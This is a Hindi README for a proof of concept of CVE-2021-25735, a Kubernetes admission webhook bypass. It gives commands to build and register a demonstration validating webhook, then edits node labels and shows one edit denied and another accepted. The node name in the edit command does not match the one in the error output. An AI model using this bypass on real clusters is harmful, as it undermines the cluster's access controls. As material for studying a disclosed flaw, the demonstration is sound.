
सीवीई-2021-25735 के लिए एक्सप्लॉइट जो नोड लेबल हेरफेर के माध्यम से Kubernetes Validating Admission Webhook बायपास को प्रदर्शित करता है, साथ में तैनात करने योग्य Docker कंटेनर और वेबहुक पंजीकरण स्क्रिप्ट।
आइए स्क्रिप्ट gencerts.sh को चलाकर शुरू करें ताकि TLS प्रमाणपत्र और कुंजियाँ उत्पन्न हों।
bash gencerts.sh
एडमिशन कंट्रोलर को डिप्लॉय करने के लिए आपको Docker कंटेनर इमेज को स्थानीय रूप से बनाना, टैग करना और इसे अपने Dockerhub पर नीचे दिए गए कमांड का उपयोग करके पुश करना होगा।
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
अब आप बनाई गई इमेज को Node.js एप्लिकेशन के साथ अपने K8s क्लस्टर में डिप्लॉय कर सकते हैं। webhook-deploy.yaml आपके क्लस्टर में सभी आवश्यक घटकों को डिप्लॉय करेगा।
kubectl apply -f webhook-deploy.yaml
आइए अब अपने वेबहुक को Kubernetes API Server के साथ रजिस्टर करें। ऐसा करने के लिए, हम पहले बनाई गई ca.crt फ़ाइल का Base64 बनाते हैं और webhook-registration.yaml के अंदर CA_BUNDLE को बदलते हैं।
cat ca.crt | base64
अंत में, हम वेबहुक को Kubernetes API Server के साथ रजिस्टर करेंगे।
kubectl apply -f webhook-registration.yaml
हम नोड लेबल में बदलाव करते हैं और एक नया लेबल जोड़ते हैं।
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
चूंकि ChangeAllowed को "false" पर सेट किया गया है, हमें निम्नलिखित त्रुटि मिलती है:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
यदि हम निम्नलिखित परिवर्तन करके नोड को संशोधित करने का पुनः प्रयास करते हैं:
labels:
test: test
changeAllowed: "true"
इस मामले में, संपादन कार्रवाई स्वीकार कर ली गई है, जो एडमिशन कंट्रोलर को बायपास कर रही है।